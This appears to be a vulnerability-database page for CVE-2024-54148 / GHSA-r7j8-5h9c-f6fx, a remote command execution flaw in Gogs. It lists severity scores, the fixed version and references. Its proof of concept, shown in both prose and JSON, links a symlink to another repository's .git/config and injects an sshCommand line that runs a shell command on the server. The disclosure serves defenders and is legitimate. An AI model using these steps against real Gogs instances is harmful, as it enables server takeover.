github - ghsa-r7j8-5h9c-f6fx

ghsa-r7j8-5h9c-f6fx

Vulnerability from github

Published

2024-12-23 17:53

Modified

2025-04-10 22:56

Severity ?

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

Remote Command Execution in file editing in gogs

Details

Impact

The malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server.

Patches

Editing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

Create two repositories, upload something to the first repository, edit any file, and save it on the webpage.
In the second repository, create a symbolic link to the file you need to edit: bash $ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test $ ls -la total 8 drwxr-xr-x 5 dd staff 160 Oct 27 19:09 . drwxr-xr-x 4 dd staff 128 Oct 27 19:06 .. drwxr-xr-x 12 dd staff 384 Oct 27 19:09 .git -rw-r--r-- 1 dd staff 12 Oct 27 19:06 README.md lrwxr-xr-x 1 dd staff 44 Oct 27 19:09 test -> /data/gogs/data/tmp/local-repo/1/.git/config $ git add . $ git commit -m 'ddd' $ git push -f
Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed) [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true ignorecase = true precomposeunicode = true sshCommand = echo pwnned > /tmp/poc [remote "origin"] url = [git@github.com](mailto:git@github.com):torvalds/linux.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master
Go back to the first repo, edit something, and commit again, you can notice a file called /tmp/poc created on the server.

For more information

If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gogs.io/gogs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-54148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-23T17:53:01Z",
    "nvd_published_at": "2024-12-23T16:15:07Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. \n\n### Patches\n\nEditing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Create two repositories, upload something to the first repository, edit any file, and save it on the webpage.\n2. In the second repository, create a symbolic link to the file you need to edit:\n    ```bash\n    $ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test\n    $ ls -la\n    total 8\n    drwxr-xr-x \u00a0 5 dd \u00a0staff \u00a0160 Oct 27 19:09 .\n    drwxr-xr-x \u00a0 4 dd \u00a0staff \u00a0128 Oct 27 19:06 ..\n    drwxr-xr-x \u00a012 dd \u00a0staff \u00a0384 Oct 27 19:09 .git\n    -rw-r--r-- \u00a0 1 dd \u00a0staff \u00a0 12 Oct 27 19:06 README.md\n    lrwxr-xr-x \u00a0 1 dd \u00a0staff \u00a0 44 Oct 27 19:09 test -\u003e /data/gogs/data/tmp/local-repo/1/.git/config\n    $ git add .\n    $ git commit -m \u0027ddd\u0027\n    $ git push -f\n    ```\n\n3. Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed)\n    ```\n    [core]\n    repositoryformatversion = 0\n    filemode = true\n    bare = false\n    logallrefupdates = true\n    ignorecase = true\n    precomposeunicode = true\n    sshCommand = echo pwnned \u003e /tmp/poc\n    [remote \"origin\"]\n    url = [git@github.com](mailto:git@github.com):torvalds/linux.git\n    fetch = +refs/heads/*:refs/remotes/origin/*\n    [branch \"master\"]\n    remote = origin\n    merge = refs/heads/master\n    ```\n\n4. Go back to the first repo, edit something, and commit again, you can notice a file called `/tmp/poc` created on the server.\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.",
  "id": "GHSA-r7j8-5h9c-f6fx",
  "modified": "2025-04-10T22:56:15Z",
  "published": "2024-12-23T17:53:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/security/advisories/GHSA-r7j8-5h9c-f6fx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54148"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/issues/7582"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/pull/7857"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/commit/c94baec9ca923f38c19f0c7c5af722b9ec04022a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gogs/gogs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Remote Command Execution in file editing in gogs"
}

CVE-2024-54148 (GCVE-0-2024-54148)

Vulnerability from cvelistv5

Published

2024-12-23 15:22

Modified

2024-12-24 01:52

Severity ?

8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CWE

CWE-61 - UNIX Symbolic Link (Symlink) Following
CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

Gogs is an open source self-hosted Git service. A malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

References

►

URL

Tags

	https://github.com/gogs/gogs/security/advisories/GHSA-r7j8-5h9c-f6fx	x_refsource_CONFIRM
	https://github.com/gogs/gogs/issues/7582	x_refsource_MISC
	https://github.com/gogs/gogs/pull/7857	x_refsource_MISC
	https://github.com/gogs/gogs/commit/c94baec9ca923f38c19f0c7c5af722b9ec04022a	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	gogs	gogs	Version: < 0.13.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 9.8,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-54148",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-12-24T01:52:15.112862Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-12-24T01:52:58.173Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "gogs",
          "vendor": "gogs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.13.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Gogs is an open source self-hosted Git service. A malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. The vulnerability is fixed in 0.13.1."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-61",
              "description": "CWE-61: UNIX Symbolic Link (Symlink) Following",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-12-23T15:22:48.244Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/gogs/gogs/security/advisories/GHSA-r7j8-5h9c-f6fx",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/gogs/gogs/security/advisories/GHSA-r7j8-5h9c-f6fx"
        },
        {
          "name": "https://github.com/gogs/gogs/issues/7582",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gogs/gogs/issues/7582"
        },
        {
          "name": "https://github.com/gogs/gogs/pull/7857",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gogs/gogs/pull/7857"
        },
        {
          "name": "https://github.com/gogs/gogs/commit/c94baec9ca923f38c19f0c7c5af722b9ec04022a",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gogs/gogs/commit/c94baec9ca923f38c19f0c7c5af722b9ec04022a"
        }
      ],
      "source": {
        "advisory": "GHSA-r7j8-5h9c-f6fx",
        "discovery": "UNKNOWN"
      },
      "title": "Gogs has a Path Traversal in file editing UI"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-54148",
    "datePublished": "2024-12-23T15:22:48.244Z",
    "dateReserved": "2024-11-29T18:02:16.756Z",
    "dateUpdated": "2024-12-24T01:52:58.173Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

ghsa-r7j8-5h9c-f6fx

Vulnerability from github

Impact

Patches

Workarounds

References

Proof of Concept

For more information

CVE-2024-54148 (GCVE-0-2024-54148)

Vulnerability from cvelistv5

Tags

Sightings

Nomenclature